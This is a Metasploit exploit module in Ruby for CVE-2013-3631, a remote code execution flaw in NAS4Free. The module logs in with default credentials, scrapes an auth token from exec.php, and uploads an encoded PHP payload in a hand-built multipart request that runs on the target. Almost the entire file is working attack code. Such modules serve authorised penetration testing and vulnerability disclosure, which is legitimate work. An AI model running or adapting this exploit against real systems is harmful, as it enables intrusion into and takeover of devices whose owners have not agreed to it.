##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rexml/document'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NAS4Free Arbitrary Remote Code Execution',
      'Description'    => %q{
      NAS4Free allows an authenticated user to post PHP code to a special HTTP script and have
      the code executed remotely. This module was successfully tested against NAS4Free version
      9.1.0.1.804. Earlier builds are likely to be vulnerable as well.
      },
      'Author'         => [
        'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
      ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2013-3631'],
          ['URL', 'https://www.rapid7.com/blog/post/2013/10/30/seven-tricks-and-treats']
        ],
      'Payload'	=>
        {
          'Space' => 21244,
          'DisableNops' => true,
          'BadChars' => ''
        },
      'Targets'	=>
        [
          [ 'Automatic Target', { } ]
        ],
      'Privileged' => true,
      'Platform' => ['php'],
      'Arch' => ARCH_PHP,
      'DisclosureDate' => '2013-10-30',
      'DefaultTarget' => 0))

      register_options([
        OptString.new('USERNAME', [ true, "Username to authenticate with", "admin"]),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", "nas4free"])
      ])
  end

  def exploit
    init = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/')
    })

    sess = init.get_cookies

    post = {
      'username' => datastore["USERNAME"],
      'password' => datastore["PASSWORD"]
    }

    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/login.php'),
      'vars_post' => post,
      'cookie' => sess
    })

    if !login or login.code != 302
      fail_with(Failure::NoAccess, "Login failed")
    end

    exec_resp = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/exec.php'),
      'cookie' => sess
    })

    if !exec_resp or exec_resp.code != 200
      fail_with(Failure::UnexpectedReply, 'Error getting auth token from exec.php')
    end

    authtoken = ''
    #The html returned is not well formed, so I can't parse it with rexml
    exec_resp.body.each_line do |line|
      next if line !~ /authtoken/
      authtoken = line
    end

    doc = REXML::Document.new authtoken
    input = doc.root

    if !input
      fail_with(Failure::UnexpectedReply, 'Error getting auth token')
    end

    token = input.attributes["value"]

    data = Rex::MIME::Message.new
    data.add_part('', nil, nil, 'form-data; name="txtCommand"')
    data.add_part('', nil, nil, 'form-data; name="txtRecallBuffer"')
    data.add_part('', nil, nil, 'form-data; name="dlPath"')
    data.add_part('', 'application/octet-stream', nil, 'form-data; name="ulfile"; filename=""')
    data.add_part(payload.encoded, nil, nil, 'form-data; name="txtPHPCommand"')
    #data.add_part(token, nil, nil, 'form-data; name="authtoken"')

    #I need to build the last data part by hand due to a bug in rex
    data_post = data.to_s
    data_post = data_post[0..data_post.length-data.bound.length-7]

    data_post << "\r\n--#{data.bound}"
    data_post << "\r\nContent-Disposition: form-data; name=\"authtoken\"\r\n\r\n"
    data_post << token
    data_post << "\r\n--#{data.bound}--\r\n\r\n"

    resp = send_request_raw({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/exec.php'),
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data_post,
      'cookie' => sess
    })
  end
end
